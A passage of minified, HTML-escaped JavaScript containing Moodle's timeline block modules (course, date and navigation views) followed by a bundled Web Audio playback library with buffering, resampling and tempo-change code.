button.append(html),html})).catch((function(){return!1}))}(root),loadMoreCourses(root,!0).then((function(){disableMoreCoursesButtonLoading(root)})).catch((function(){disableMoreCoursesButtonLoading(root)})),data&amp;&amp;(data.originalEvent.preventDefault(),data.originalEvent.stopPropagation()),e.stopPropagation()}))},shown=function(root){root.attr(&quot;data-seen&quot;)||root.find(SELECTORS_NO_COURSES_EMPTY_MESSAGE).length||(loadMoreCourses(root),root.attr(&quot;data-seen&quot;,!0))};return{init:function(root){(root=$(root)).find(SELECTORS_NO_COURSES_EMPTY_MESSAGE).length||(!function(root,time){root.data(&quot;last-event-load-time&quot;,time)}(root,Date.now()),root.hasClass(&quot;active&quot;)&amp;&amp;(loadMoreCourses(root),root.attr(&quot;data-seen&quot;,!0)),registerEventListeners(root))},reset:function(root){setOffset(root,0),function(root){root.find(SELECTORS_COURSE_ITEMS_LOADING_PLACEHOLDER).removeClass(&quot;hidden&quot;)}(root),function(root){root.find(SELECTORS_NO_COURSES_WITH_EVENTS_MESSAGE).addClass(&quot;hidden&quot;)}(root),root.removeAttr(&quot;data-seen&quot;),root.hasClass(&quot;active&quot;)&amp;&amp;shown(root)},shown:shown}}));
/**
 * Manage the timeline view for the timeline block.
 *
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/view&quot;,[&quot;jquery&quot;,&quot;block_timeline/view_dates&quot;,&quot;block_timeline/view_courses&quot;],(function($,ViewDates,ViewCourses){var SELECTORS_TIMELINE_DATES_VIEW=&#039;[data-region=&quot;view-dates&quot;]&#039;,SELECTORS_TIMELINE_COURSES_VIEW=&#039;[data-region=&quot;view-courses&quot;]&#039;;return{init:function(root){var datesViewRoot=(root=$(root)).find(SELECTORS_TIMELINE_DATES_VIEW),coursesViewRoot=root.find(SELECTORS_TIMELINE_COURSES_VIEW);ViewDates.init(datesViewRoot),ViewCourses.init(coursesViewRoot)},reset:function(root){var datesViewRoot=root.find(SELECTORS_TIMELINE_DATES_VIEW),coursesViewRoot=root.find(SELECTORS_TIMELINE_COURSES_VIEW);ViewDates.reset(datesViewRoot),ViewCourses.reset(coursesViewRoot)},shown:function(root){var datesViewRoot=root.find(SELECTORS_TIMELINE_DATES_VIEW),coursesViewRoot=root.find(SELECTORS_TIMELINE_COURSES_VIEW);datesViewRoot.hasClass(&quot;active&quot;)?ViewDates.shown(datesViewRoot):ViewCourses.shown(coursesViewRoot)}}}));
/**
 * Manage the timeline view navigation for the timeline block.
 *
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/view_nav&quot;,[&quot;jquery&quot;,&quot;core/custom_interaction_events&quot;,&quot;block_timeline/view&quot;,&quot;core/ajax&quot;,&quot;core/notification&quot;,&quot;core/utils&quot;],(function($,CustomEvents,View,Ajax,Notification,Utils){var SELECTORS_TIMELINE_DAY_FILTER=&#039;[data-region=&quot;day-filter&quot;]&#039;,SELECTORS_TIMELINE_DAY_FILTER_OPTION=&quot;[data-from]&quot;,SELECTORS_TIMELINE_VIEW_SELECTOR=&#039;[data-region=&quot;view-selector&quot;]&#039;,SELECTORS_DATA_DAYS_OFFSET=&quot;[data-days-offset]&quot;,SELECTORS_TIMELINE_SEARCH_INPUT=&#039;[data-action=&quot;search&quot;]&#039;,SELECTORS_TIMELINE_SEARCH_CLEAR_ICON=&#039;[data-action=&quot;clearsearch&quot;]&#039;,SELECTORS_NO_COURSES_EMPTY_MESSAGE=&#039;[data-region=&quot;no-courses-empty-message&quot;]&#039;,updateUserPreferences=function(type,value){var request={methodname:&quot;core_user_update_user_preferences&quot;,args:{preferences:[{type:type,value:value}]}};Ajax.call([request])[0].fail(Notification.exception)};const activeSearchState=(clearSearchIcon,timelineViewRoot)=&gt;{clearSearchIcon.removeClass(&quot;d-none&quot;),View.reset(timelineViewRoot)},clearSearchState=(clearSearchIcon,timelineViewRoot)=&gt;{clearSearchIcon.addClass(&quot;d-none&quot;),View.reset(timelineViewRoot)};return{init:function(root,timelineViewRoot){(function(root,timelineViewRoot){var viewSelector=root.find(SELECTORS_TIMELINE_VIEW_SELECTOR);viewSelector.on(&quot;shown shown.bs.tab&quot;,(function(e){View.shown(timelineViewRoot),$(e.target).removeClass(&quot;active&quot;)})),CustomEvents.define(viewSelector,[CustomEvents.events.activate]),viewSelector.on(CustomEvents.events.activate,&quot;[data-toggle=&#039;tab&#039;]&quot;,(function(e){var filtername=$(e.currentTarget).data(&quot;filtername&quot;);updateUserPreferences(&quot;block_timeline_user_sort_preference&quot;,filtername)}))})(root=$(root),timelineViewRoot),root.find(SELECTORS_NO_COURSES_EMPTY_MESSAGE).length||(function(root,timelineViewRoot){var timelineDaySelectorContainer=root.find(SELECTORS_TIMELINE_DAY_FILTER);CustomEvents.define(timelineDaySelectorContainer,[CustomEvents.events.activate]),timelineDaySelectorContainer.on(CustomEvents.events.activate,SELECTORS_TIMELINE_DAY_FILTER_OPTION,(function(e,data){var filtername=$(e.currentTarget).data(&quot;filtername&quot;);updateUserPreferences(&quot;block_timeline_user_filter_preference&quot;,filtername);var option=$(e.target).closest(SELECTORS_TIMELINE_DAY_FILTER_OPTION);if(&quot;true&quot;!=option.attr(&quot;aria-current&quot;)){var daysOffset=option.attr(&quot;data-from&quot;),daysLimit=option.attr(&quot;data-to&quot;),elementsWithDaysOffset=root.find(SELECTORS_DATA_DAYS_OFFSET);elementsWithDaysOffset.attr(&quot;data-days-offset&quot;,daysOffset),null!=daysLimit?elementsWithDaysOffset.attr(&quot;data-days-limit&quot;,daysLimit):elementsWithDaysOffset.removeAttr(&quot;data-days-limit&quot;),&quot;overdue&quot;===option.attr(&quot;data-filtername&quot;)?elementsWithDaysOffset.attr(&quot;data-filter-overdue&quot;,!0):elementsWithDaysOffset.removeAttr(&quot;data-filter-overdue&quot;),View.reset(timelineViewRoot),data.originalEvent.preventDefault()}}))}(root,timelineViewRoot),((root,timelineViewRoot)=&gt;{const searchInput=root.find(SELECTORS_TIMELINE_SEARCH_INPUT),clearSearchIcon=root.find(SELECTORS_TIMELINE_SEARCH_CLEAR_ICON);searchInput.on(&quot;input&quot;,Utils.debounce((()=&gt;{&quot;&quot;!==searchInput.val()?activeSearchState(clearSearchIcon,timelineViewRoot):clearSearchState(clearSearchIcon,timelineViewRoot)}),1e3)),clearSearchIcon.on(&quot;click&quot;,(()=&gt;{searchInput.val(&quot;&quot;),clearSearchState(clearSearchIcon,timelineViewRoot),searchInput.focus()}))})(root,timelineViewRoot))}}}));
/**
 * Manage the timeline dates view for the timeline block.
 *
 * @copyright  2018 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
define(&quot;block_timeline/view_dates&quot;,[&quot;jquery&quot;,&quot;block_timeline/event_list&quot;,&quot;core/pubsub&quot;,&quot;core/paged_content_events&quot;],(function($,EventList,PubSub,PagedContentEvents){var SELECTORS_EVENT_LIST_CONTAINER=&#039;[data-region=&quot;event-list-container&quot;]&#039;,SELECTORS_NO_COURSES_EMPTY_MESSAGE=&#039;[data-region=&quot;no-courses-empty-message&quot;]&#039;,load=function(root){if(!root.find(SELECTORS_NO_COURSES_EMPTY_MESSAGE).length){var eventListContainer=root.find(SELECTORS_EVENT_LIST_CONTAINER),namespace=$(eventListContainer).attr(&quot;id&quot;)+&quot;user_block_timeline&quot;+Math.random();!function(root,namespace){var event=namespace+PagedContentEvents.SET_ITEMS_PER_PAGE_LIMIT;PubSub.subscribe(event,(function(limit){$(root).data(&quot;limit&quot;,limit)}))}(root,namespace);var config={persistentLimitKey:&quot;block_timeline_user_limit_preference&quot;,eventNamespace:namespace};EventList.init(eventListContainer,config)}};return{init:function(root){(root=$(root)).hasClass(&quot;active&quot;)&amp;&amp;!root.find(SELECTORS_NO_COURSES_EMPTY_MESSAGE).length&amp;&amp;(load(root),root.attr(&quot;data-seen&quot;,!0))},reset:function(root){root.removeAttr(&quot;data-seen&quot;),root.hasClass(&quot;active&quot;)&amp;&amp;(load(root),root.attr(&quot;data-seen&quot;,!0))},shown:function(root){root.attr(&quot;data-seen&quot;)||(load(root),root.attr(&quot;data-seen&quot;,!0))}}}));
var e,t;e=globalThis,t=function(){return(()=&gt;{var e={318:e=&gt;{e.exports=function(e){return e&amp;&amp;e.__esModule?e:{default:e}},e.exports.default=e.exports,e.exports.__esModule=!0},848:e=&gt;{window,e.exports=function(e){var t={};function r(i){if(t[i])return t[i].exports;var s=t[i]={i:i,l:!1,exports:{}};return e[i].call(s.exports,s,s.exports,r),s.l=!0,s.exports}return r.m=e,r.c=t,r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},r.r=function(e){&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})},r.t=function(e,t){if(1&amp;t&amp;&amp;(e=r(e)),8&amp;t)return e;if(4&amp;t&amp;&amp;&quot;object&quot;==typeof e&amp;&amp;e&amp;&amp;e.__esModule)return e;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,&quot;default&quot;,{enumerable:!0,value:e}),2&amp;t&amp;&amp;&quot;string&quot;!=typeof e)for(var s in e)r.d(i,s,function(t){return e[t]}.bind(null,s));return i},r.n=function(e){var t=e&amp;&amp;e.__esModule?function(){return e.default}:function(){return e};return r.d(t,&quot;a&quot;,t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p=&quot;&quot;,r(r.s=1)}([function(e,t){function r(e,t){if(e&lt;1||e!==Math.round(e))throw&quot;Invalid channel count for BufferQueue&quot;;this.channels=e,this.bufferSize=t,this.flush()}r.prototype.flush=function(){this._buffers=[],this._pendingBuffer=this.createBuffer(this.bufferSize),this._pendingPos=0},r.prototype.sampleCount=function(){var e=0;return this._buffers.forEach((function(t){e+=t[0].length})),e},r.prototype.createBuffer=function(e){for(var t=[],i=0;i&lt;this.channels;i++)t[i]=new Float32Array(e);return t},r.prototype.validate=function(e){if(e.length!==this.channels)return!1;for(var t,i=0;i&lt;e.length;i++){var s=e[i];if(!(s instanceof Float32Array))return!1;if(0==i)t=s.length;else if(s.length!==t)return!1}return!0},r.prototype.appendBuffer=function(e){if(!this.validate(e))throw&quot;Invalid audio buffer passed to BufferQueue.appendBuffer&quot;;for(var t=e[0].length,i=this.channels,s=this._pendingPos,d=this._pendingBuffer,h=this.bufferSize,u=0;u&lt;t;u++){for(var c=0;c&lt;i;c++)d[c][s]=e[c][u];++s==h&amp;&amp;(this._buffers.push(d),s=this._pendingPos=0,d=this._pendingBuffer=this.createBuffer(h))}this._pendingPos=s},r.prototype.prependBuffer=function(e){if(!this.validate(e))throw&quot;Invalid audio buffer passed to BufferQueue.prependBuffer&quot;;var t=this._buffers.slice(0);t.push(this.trimBuffer(this._pendingBuffer,0,this._pendingPos)),this.flush(),this.appendBuffer(e);for(var i=0;i&lt;t.length;i++)this.appendBuffer(t[i])},r.prototype.nextBuffer=function(){if(this._buffers.length)return this._buffers.shift();var e=this.trimBuffer(this._pendingBuffer,0,this._pendingPos);return this._pendingBuffer=this.createBuffer(this.bufferSize),this._pendingPos=0,e},r.prototype.trimBuffer=function(e,t,i){var s=e[0].length,d=t+Math.min(i,s);if(0==t&amp;&amp;d&gt;=s)return e;for(var h=[],u=0;u&lt;this.channels;u++)h[u]=e[u].subarray(t,d);return h},e.exports=r},function(e,t,i){!function(){i(0);var t=i(2),s=i(4);function n(e){this._options=e||{},this._backend=null,this._resampleFractional=0,this._resampleLastSampleData=void 0,this._tempoChanger=null}n.prototype.rate=0,n.prototype.targetRate=0,n.prototype.channels=0,n.prototype.bufferSize=0,Object.defineProperty(n.prototype,&quot;bufferDuration&quot;,{get:function(){return this.targetRate?this.bufferSize/this.targetRate:0}}),Object.defineProperty(n.prototype,&quot;bufferThreshold&quot;,{get:function(){return this._backend?this._backend.bufferThreshold/this.targetRate:0},set:function(e){if(!this._backend)throw&quot;Invalid state: AudioFeeder cannot set bufferThreshold before init&quot;;this._backend.bufferThreshold=Math.round(e*this.targetRate)}}),Object.defineProperty(n.prototype,&quot;playbackPosition&quot;,{get:function(){return this._backend?this.getPlaybackState().playbackPosition:0}}),Object.defineProperty(n.prototype,&quot;outputPlaybackPosition&quot;,{get:function(){return this._backend?this.getPlaybackState().outputPlaybackPosition:0}}),Object.defineProperty(n.prototype,&quot;durationBuffered&quot;,{get:function(){return this._backend?this.getPlaybackState().samplesQueued/this.targetRate:0}}),Object.defineProperty(n.prototype,&quot;muted&quot;,{get:function(){if(this._backend)return this._backend.muted;throw&quot;Invalid state: cannot get mute before init&quot;},set:function(e){if(!this._backend)throw&quot;Invalid state: cannot set mute before init&quot;;this._backend.muted=e}}),n.prototype.mute=function(){this.muted=!0},n.prototype.unmute=function(){this.muted=!1},Object.defineProperty(n.prototype,&quot;volume&quot;,{get:function(){if(this._backend)return this._backend.volume;throw&quot;Invalid state: cannot get volume before init&quot;},set:function(e){if(!this._backend)throw&quot;Invalid state: cannot set volume before init&quot;;this._backend.volume=e}}),Object.defineProperty(n.prototype,&quot;tempo&quot;,{get:function(){if(this._tempoChanger)return this._tempoChanger.getTempo();throw&quot;Invalid state: cannot get tempo before init&quot;},set:function(e){if(!this._tempoChanger)throw&quot;Invalid state: cannot set tempo before init&quot;;this._tempoChanger.setTempo(e)}}),n.prototype.init=function(e,i){if(this.channels=e,this.rate=i,this._options.backendFactory)this._backend=this._options.backendFactory(e,i,this._options);else{if(!t.isSupported())throw&quot;No supported backend&quot;;this._backend=new t(e,i,this._options)}this.targetRate=this._backend.rate,this.bufferSize=this._backend.bufferSize,this._tempoChanger=s({sampleRate:this.targetRate,numChannels:e,tempo:1}),this._backend.onstarved=function(){this.onstarved&amp;&amp;this.onstarved()}.bind(this),this._backend.onbufferlow=function(){this.onbufferlow&amp;&amp;this.onbufferlow()}.bind(this)},n.prototype._resample=function(e){var t=this.rate,i=this.channels,s=this._backend.rate,d=this._backend.channels;if(t==s&amp;&amp;i==d)return e;var h,u=[],c=e[0].length,l=this._resampleFractional,f=c*s/t+l,_=Math.floor(f),p=f-_;h=t&lt;s?function(e,i,d,h){for(var a=function(t){return t&lt;0?d&amp;&amp;d.length+t&gt;0?d[d.length+t]:e[0]:e[t]},u=0;u&lt;i.length;u++){var c,f=(u+1-l)*t/s-1,_=Math.floor(f),p=Math.ceil(f);c=_==p?a(_):a(_)*(p-f)+a(p)*(f-_),i[u]=h*c}}:function(e,t,i,s){for(var d=0;d&lt;t.length;d++)t[d]=s*e[d*e.length/t.length|0]};var m=1;d&gt;i&amp;&amp;(m=Math.SQRT1_2);for(var g=0;g&lt;d;g++){var v=g;g&gt;=i&amp;&amp;(v=0);var y=e[v],b=new Float32Array(_);h(y,b,this._resampleLastSampleData?this._resampleLastSampleData[v]:void 0,m),u.push(b)}return this._resampleFractional=p,this._resampleLastSampleData=e,u},n.prototype.bufferData=function(e){if(!this._backend)throw&quot;Invalid state: AudioFeeder cannot bufferData before init&quot;;var t=this._resample(e);t=this._tempoChanger.process(t),this._backend.appendBuffer(t)},n.prototype.getPlaybackState=function(){if(this._backend){var e=this._backend.getPlaybackState();return e.outputPlaybackPosition=e.playbackPosition,e.playbackPosition=this._tempoChanger.mapOutputToInputTime(e.outputPlaybackPosition),e}throw&quot;Invalid state: AudioFeeder cannot getPlaybackState before init&quot;},n.prototype.waitUntilReady=function(e){if(!this._backend)throw&quot;Invalid state: AudioFeeder cannot waitUntilReady before init&quot;;this._backend.waitUntilReady(e)},n.prototype.start=function(){if(!this._backend)throw&quot;Invalid state: AudioFeeder cannot start before init&quot;;this._backend.start()},n.prototype.stop=function(){if(!this._backend)throw&quot;Invalid state: AudioFeeder cannot stop before init&quot;;this._backend.stop()},n.prototype.flush=function(){if(this._resampleFractional=0,this._resampleLastSampleData=void 0,!this._backend)throw&quot;Invalid state: AudioFeeder cannot flush before init&quot;;this._tempoChanger.flush(this.durationBuffered),this._backend.flush()},n.prototype.close=function(){this._backend&amp;&amp;(this._backend.close(),this._backend=null)},n.prototype.onstarved=null,n.prototype.onbufferlow=null,n.isSupported=function(){return!!Float32Array&amp;&amp;t.isSupported()},n.initSharedAudioContext=function(){return t.isSupported()?t.initSharedAudioContext():null},e.exports=n}()},function(e,t,i){!function(){var t=window.AudioContext||window.webkitAudioContext,s=i(0),d=i(3);function o(e,t,i){var d=i.audioContext||o.initSharedAudioContext();if(this._context=d,this.output=i.output||d.destination,this.rate=d.sampleRate,this.channels=2,i.bufferSize&amp;&amp;(this.bufferSize=0|i.bufferSize),this.bufferThreshold=2*this.bufferSize,this._bufferQueue=new s(this.channels,this.bufferSize),this._playbackTimeAtBufferTail=d.currentTime,this._queuedTime=0,this._delayedTime=0,this._dropped=0,this._liveBuffer=this._bufferQueue.createBuffer(this.bufferSize),d.createScriptProcessor)this._node=d.createScriptProcessor(this.bufferSize,0,this.channels);else{if(!d.createJavaScriptNode)throw new Error(&quot;Bad version of web audio API?&quot;);this._node=d.createJavaScriptNode(this.bufferSize,0,this.channels)}}o.prototype.bufferSize=4096,o.prototype.bufferThreshold=8192,o.prototype._volume=1,Object.defineProperty(o.prototype,&quot;volume&quot;,{get:function(){return this._volume},set:function(e){this._volume=+e}}),o.prototype._muted=!1,Object.defineProperty(o.prototype,&quot;muted&quot;,{get:function(){return this._muted},set:function(e){this._muted=!!e}}),o.prototype._audioProcess=function(e){var t,i,s,h,u;u=&quot;number&quot;==typeof e.playbackTime?e.playbackTime:this._context.currentTime+this.bufferSize/this.rate;var c=this._playbackTimeAtBufferTail;if(c&lt;u&amp;&amp;(this._delayedTime+=u-c),this._bufferQueue.sampleCount()&lt;this.bufferSize&amp;&amp;this.onstarved&amp;&amp;this.onstarved(),this._bufferQueue.sampleCount()&lt;this.bufferSize){for(t=0;t&lt;this.channels;t++)for(s=e.outputBuffer.getChannelData(t),h=0;h&lt;this.bufferSize;h++)s[h]=0;this._dropped++}else{var l=this.muted?0:this.volume,f=this._bufferQueue.nextBuffer();if(f[0].length&lt;this.bufferSize)throw&quot;Audio buffer not expected length.&quot;;for(t=0;t&lt;this.channels;t++)for(i=f[t],this._liveBuffer[t].set(f[t]),s=e.outputBuffer.getChannelData(t),h=0;h&lt;i.length;h++)s[h]=i[h]*l;this._queuedTime+=this.bufferSize/this.rate,this._playbackTimeAtBufferTail=u+this.bufferSize/this.rate,this._bufferQueue.sampleCount()&lt;Math.max(this.bufferSize,this.bufferThreshold)&amp;&amp;this.onbufferlow&amp;&amp;d(this.onbufferlow.bind(this))}},o.prototype._samplesQueued=function(){return this._bufferQueue.sampleCount()+Math.floor(this._timeAwaitingPlayback()*this.rate)},o.prototype._timeAwaitingPlayback=function(){return Math.max(0,this._playbackTimeAtBufferTail-this._context.currentTime)},o.prototype.getPlaybackState=function(){return{playbackPosition:this._queuedTime-this._timeAwaitingPlayback(),samplesQueued:this._samplesQueued(),dropped:this._dropped,delayed:this._delayedTime}},o.prototype.waitUntilReady=function(e){e()},o.prototype.appendBuffer=function(e){this._bufferQueue.appendBuffer(e)},o.prototype.start=function(){this._node.onaudioprocess=this._audioProcess.bind(this),this._node.connect(this.output),this._playbackTimeAtBufferTail=this._context.currentTime},o.prototype.stop=function(){if(this._node){var e=this._timeAwaitingPlayback();if(e&gt;0){var t=Math.round(e*this.rate),i=this._liveBuffer?this._liveBuffer[0].length:0;t&gt;i?(this._bufferQueue.prependBuffer(this._liveBuffer),this._bufferQueue.prependBuffer(this._bufferQueue.createBuffer(t-i))):this._bufferQueue.prependBuffer(this._bufferQueue.trimBuffer(this._liveBuffer,i-t,t)),this._playbackTimeAtBufferTail-=e}this._node.onaudioprocess=null,this._node.disconnect()}},o.prototype.flush=function(){this._bufferQueue.flush()},o.prototype.close=function(){this.stop(),this._context=null},o.prototype.onstarved=null,o.prototype.onbufferlow=null,o.isSupported=function(){return!!t},o.sharedAudioContext=null,o.initSharedAudioContext=function(){if(!o.sharedAudioContext&amp;&amp;o.isSupported()){var e,i=new t;if(i.createScriptProcessor)e=i.createScriptProcessor(1024,0,2);else{if(!i.createJavaScriptNode)throw new Error(&quot;Bad version of web audio API?&quot;);e=i.createJavaScriptNode(1024,0,2)}e.connect(i.destination),e.disconnect(),o.sharedAudioContext=i}return o.sharedAudioContext},e.exports=o}()},function(e,t){e.exports=function(){if(void 0!==window.setImmediate)return window.setImmediate;if(window&amp;&amp;window.postMessage){var e=[];return window.addEventListener(&quot;message&quot;,(function(t){if(t.source===window){var i=t.data;if(&quot;object&quot;==typeof i&amp;&amp;i.nextTickBrowserPingMessage){var s=e.pop();s&amp;&amp;s()}}})),function(t){e.push(t),window.postMessage({nextTickBrowserPingMessage:!0},document.location.toString())}}return function(e){setTimeout(e,0)}}()},function(e,t,i){var s;window,s=function(){return function(e){var t={};function r(i){if(t[i])return t[i].exports;var s=t[i]={i:i,l:!1,exports:{}};return e[i].call(s.exports,s,s.exports,r),s.l=!0,s.exports}return r.m=e,r.c=t,r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},r.r=function(e){&quot;undefined&quot;!=typeof Symbol&amp;&amp;Symbol.toStringTag&amp;&amp;Object.defineProperty(e,Symbol.toStringTag,{value:&quot;Module&quot;}),Object.defineProperty(e,&quot;__esModule&quot;,{value:!0})},r.t=function(e,t){if(1&amp;t&amp;&amp;(e=r(e)),8&amp;t)return e;if(4&amp;t&amp;&amp;&quot;object&quot;==typeof e&amp;&amp;e&amp;&amp;e.__esModule)return e;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,&quot;default&quot;,{enumerable:!0,value:e}),2&amp;t&amp;&amp;&quot;string&quot;!=typeof e)for(var s in e)r.d(i,s,function(t){return e[t]}.bind(null,s));return i},r.n=function(e){var t=e&amp;&amp;e.__esModule?function(){return e.default}:function(){return e};return r.d(t,&quot;a&quot;,t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p=&quot;&quot;,r(r.s=1)}([function(e,t){var i={float_array:function(e){return new Float32Array(e)},blit:function(e,t,i,s,d){i.set(e.subarray(t,t+d),s)}};e.exports=i},function(e,t,i){var s,d;s=i(0),d=i(2),e.exports=function(e){var t=(e=e||{}).sampleRate||44100,i=e.wsizeLog||11,h=e.tempo||1,u=(e.numChannels,Math.pow(2,50/1200)-1),c=1&lt;&lt;i,l=d(i),f=1&lt;&lt;i-2;f-=f%100;for(var _=s.float_array(c+f+5),p=s.float_array(c+f+5),m=f,g=f,v=s.float_array(c),y=0;y&lt;c;y++)v[y]=.5*(1-Math.cos(2*Math.PI*y/c));var b=1+(c&gt;&gt;1),T=s.float_array(b),k=s.float_array(b),P=s.float_array(b),w=s.float_array(b),E=s.float_array(b),x=s.float_array(b),A=1+(b&gt;&gt;1),R=[0,0],O=[],F=[],S=[],C=[];for(y=0;y&lt;2;y++)O.push(s.float_array(A)),F.push(s.float_array(A)),S.push(s.float_array(A)),C.push(s.float_array(b));var B=s.float_array(A),D=s.float_array(A),M=0,V=0,I=[{in_time:0,out_time:0,tempo:h}],L=0,j=0,W=1,X=0,N=0,H=0,z=0,Y={mapOutputToInputTime:function(e){for(var t=I.length-1;e&lt;I[t].out_time&amp;&amp;t&gt;0;)t--;var i=I[t];return i.in_time+i.tempo*(e-i.out_time)},flush:function(e){X=0,R=[0,0],j=0,z=0,H=0;for(var t=0;t&lt;2;t++)for(var i=0;i&lt;b;i++)C[t][i]=0;for(t=0;t&lt;_.length;t++)_[t]=0;for(t=0;t&lt;p.length;t++)p[t]=0;if(e){V=Math.max(0,V-e),M=Y.mapOutputToInputTime(V);for(var s=I.length-1;V&lt;=I[s].out_time&amp;&amp;s&gt;=0;)I.pop(),s--;I.push({in_time:M,out_time:V,tempo:h})}},getTempo:function(){return h},setTempo:function(e){m=g=f,e&gt;=1?g=Math.round(m/e):m=Math.round(g*e),N=(1/e-1*g/m)*m,W=function(e,t){for(var i=e.length/t|0,s=0,d=0;d&lt;i;d++)s+=e[d*t];return.9/s}(v,g),h=e;var t=I[I.length-1];t.out_time==V?t.tempo=e:I.push({in_time:M,out_time:V,tempo:e})}};Y.flush(0),Y.setTempo(h);var J=function(e,t,i){var s=Math.floor(i),d=s%2==1?-1:1;return Math.atan2(d*(t[s]-t[s+1]),d*(e[s]-e[s+1]))},U=function(e,t,i,s,d){var h=2*Math.PI/c*.5*(s+t)*m;return(function(e){return e-2*Math.PI*Math.round(e/(2*Math.PI))}(e-i-h)+h)*d},q=function(e,t,i,s,d,h){for(var l=e%2,f=1-l,_=C[f],p=R[f],m=O[f],g=F[f],v=S[f],y=C[l],b=1;b&lt;y.length;b++)y[b]=t[b]*t[b]+i[b]*i[b];var T=O[l],k=R[l]=function(e,t){for(var i=0,s=0;s&lt;e.length;s++)e[s]&gt;i&amp;&amp;(i=e[s]);var d=1e-8*i,h=1,c=1;for(t[0]=1,s=2;s&lt;e.length;s++){var l=s*u;if(e[s]&gt;d&amp;&amp;e[s]&gt;e[s-1]&amp;&amp;e[s]&gt;=e[s+1]){var f=s+(e[s-1]-e[s+1])/(2*(e[s-1]-2*e[s]+e[s+1]));f-t[h-1]&gt;l?(t[h++]=f,c=s):e[s]&gt;e[c]&amp;&amp;(t[h-1]=f,c=s)}}return h}(y,T),P=F[l],w=S[l];if(0!=e&amp;&amp;0!=k){var E=0;for(H=0;H&lt;k;H++){for(z=T[H];T[H]&gt;m[E]&amp;&amp;E!=p;)++E;var x=E;E&gt;0&amp;&amp;z-m[E-1]&lt;m[E]-z&amp;&amp;(x=E-1);var A=z*u;if(Math.abs(m[x]-z)&lt;A&amp;&amp;_[Math.round(m[x])]&gt;.1*y[Math.round(z)]){var M=J(t,i,z),V=g[x]+v[x]+U(M,z,g[x],m[x],h)-M;P[H]=M,w[H]=V,B[H]=Math.cos(V),D[H]=Math.sin(V)}else P[H]=J(t,i,z),w[H]=0,B[H]=1,D[H]=0}T[k]=2*c;var I=T[x=0],L=T[x+1],j=B[x],W=D[x];for(b=1;b&lt;t.length-1;b++){b&gt;=I&amp;&amp;b-I&gt;L-b&amp;&amp;(I=T[++x],L=T[x+1],j=B[x],W=D[x]);var X=t[b]*j-i[b]*W,N=t[b]*W+i[b]*j;t[b]=X,i[b]=N}}else for(var H=0;H&lt;k;H++){var z=T[H];g[H]=v[H]=J(t,i,z)}},G=function(){var e=0|(X+=2*N);X-=e;for(var t=0;t&lt;c;t++)l.m_re[t]=v[t]*_[t],l.m_im[t]=v[t]*_[m+t];s.blit(_,2*m,_,0,c-m),l.inplace(!1),l.unpack(T,k,P,w),q(L,T,k,0,0,1*g/m),q(L+1,P,w,0,0,1*(g+e)/m),s.blit(P,0,E,0,b),s.blit(w,0,x,0,b),l.repack(T,k,P,w),l.inplace(!0);var i=p.length;for(s.blit(p,j,p,0,i-j),t=i-j;t&lt;i;t++)p[t]=0;var d=0,h=W;for(t=0;t&lt;g;t++)Math.abs(2*l.m_re[t])&gt;d&amp;&amp;(d=Math.abs(2*l.m_re[t]));for(t=0;t&lt;c-g;t++)Math.abs(l.m_re[t+g+e]+l.m_im[t])&gt;d&amp;&amp;(d=Math.abs(l.m_re[t+g+e]+l.m_im[t]));for(t=c-g;t&lt;c;t++)Math.abs(2*l.m_im[t])&gt;d&amp;&amp;(d=Math.abs(2*l.m_im[t]));var u=1/Math.floor(1*c/(2*g));for(h*d&gt;u&amp;&amp;(h=u/d),t=0;t&lt;c;t++)p[t]+=h*l.m_re[t],p[t+g+e]+=h*l.m_im[t];return L+=2,j=2*g+e};return Y.process=function(e){var i=e[0].length,d=e[0];if(e.length&gt;1){d=s.float_array(e[0].length);for(var u=1/e.length,l=0;l&lt;e.length;l++)for(var f=0;f&lt;i;f++)d[f]+=u*e[l][f]}if(1==h){if(z+H&gt;0){var v=z+H+i,y=[];for(l=0;l&lt;e.length;l++){var b=s.float_array(v);s.blit(p,0,b,0,z),s.blit(_,0,b,z,H),s.blit(e[l],0,b,z+H,i),y.push(b)}Y.flush(0),i=v,e=y}return M+=i/t,V+=i/t,e}var T=H+i-(c-m),k=2*Math.floor(Math.max(0,T)/(2*m)),P=z+g*k+Math.floor(X+N*k);z&gt;P&amp;&amp;(P=z);var w=s.float_array(P);s.blit(p,0,w,0,z);for(var E=0,x=z,A=0,R=0;;){var O=c+m-H;if(E+O&gt;i){s.blit(d,E,_,H,i-E),H+=i-E,E=i;break}O&lt;=0?H-=2*m:(s.blit(d,E,_,H,O),E+=O,H=c-m),R=G(),M+=2*m/t,V+=R/t,(A=x+R-P)&lt;0&amp;&amp;(A=0),s.blit(p,0,w,x,R-A),x+=R}s.blit(p,R-A,p,0,A),z=A;var F=[];for(l=0;l&lt;e.length;l++)F.push(w);return F},Y}},function(e,t,i){var s=i(0);e.exports=function(e){for(var t=1&lt;&lt;e,i={m_logN:e,m_N:t,m_invN:1/t,m_re:s.float_array(t),m_im:s.float_array(t),m_revTgt:new Array(t)},d=0;d&lt;t;d++){for(var h=d,u=0,c=0;c&lt;e;c++)u&lt;&lt;=1,u|=1&amp;h,h&gt;&gt;=1;i.m_revTgt[d]=u}i.twiddleRe=s.float_array(i.m_logN),i.twiddleIm=s.float_array(i.m_logN);for(var l=1,f=0;f&lt;i.m_logN;f++){var _=2*l*Math.PI*i.m_invN;i.twiddleRe[f]=Math.cos(_),i.twiddleIm[f]=Math.sin(_),l&lt;&lt;=1}i.inplace=function(e){var 